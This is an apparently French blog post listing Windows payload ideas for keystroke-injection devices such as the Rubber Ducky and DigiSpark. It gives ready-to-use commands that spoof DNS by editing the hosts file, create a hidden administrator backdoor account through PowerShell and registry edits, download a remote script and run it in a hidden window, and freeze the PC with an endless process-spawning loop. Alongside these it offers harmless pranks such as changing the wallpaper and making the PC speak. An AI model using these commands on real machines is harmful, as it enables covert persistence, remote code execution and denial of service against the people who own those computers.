Encore un article sur le Rubber Ducky ? Pas vraiment.

On trouve sur le net beaucoup de payload pour les injecteurs claviers tel que le Rubber Duccky, DigiSpark et autres.

Les créateurs de ces payloads sont souvent très inventif. Dans cet article, je detaillerais certaines de leurs idées.

Quels idées sous Windows

Cela se fait via l'interpreteur de commande (cmd) ou via powershell. Vous pouvez aussi executer une commande powershell en cmd:

powershell <vos instructions powershell>

La plupart des idées ont été reprises de ce GitHub.

Tricher avec le DNS

Pour vous faire passer pour un serveur connu (via cmd)

ECHO 143.166.83.38 www.google.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS

Création d'un utilisateur avec le droit admin

On crée l'utilisateur 'accName' avec le mot de passe 'P@ssW0rD' et on le met dans le groupe 'Administrators'. Le groupe doit sans doute être modifié sur un PC dont la langue n'est pas l'anglais (via powershell)

$pass = ConvertTo-SecureString "P@ssW0rD" -AsPlainText -Force; New-LocalUser "accName" -Password $pass; Add-LocalGroupMember -Group "Administrators" -Member "accName" 

Masquage d'un utilisateur

On masque l'utilisateur 'accName' (via powershell). Cela montre aussi comment manipuler la base de registre en powershell (toujours intéressant)

New-Item -Path "'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'" -Name "SpecialAccounts"
New-Item -Path "'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts'" -Name "UserList"
New-ItemProperty -Path "'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList'" -Name "accName" -Value "0"  -PropertyType DWORD

Téléchargement d'un fichier

On télécharge un fichier (un autre powershell par exemple) sur notre disque. Soyez attentif où vous sauvez. Tous les répertoires ne sont pas forcément accessible en écriture;

$client = new-object System.Net.WebClient
$client.DownloadFile("https://scriptURL" , "%USERPROFILE%\script.ps1")

Execution d'un powershell (caché)

Vous voulez executer le script précedemment téléchargé dans une fenêtre cachée ? (via cmd)

powershell.exe -windowstyle hidden -File %USERPROFILE%\\script.ps1

Bloquer le PC indéfiniment

Sans commentaire ;)

for /l %%x in (0, 0, 0) do start

Changement du fond d'écran

Ca ne sert à rien, mais c'est toujours amusant. (via cmd)

reg add "HKCU\Control Panel\Desktop" /v WallPaper /d "%USERPROFILE%\doge.jpg" /f
RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True

Faire parler le PC

Ca ne sert à rien, mais c'est toujours amusant (bis). (via powershell)

Add-Type -AssemblyName System.speech; 
$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer
$speak.Speak("T'as pris quoi comme résolution pour cette nouvelle année ? 1080p.")

Si cela vous a plu, n'hésitez pas à le dire, il y a encore de quoi en faire quelques articles.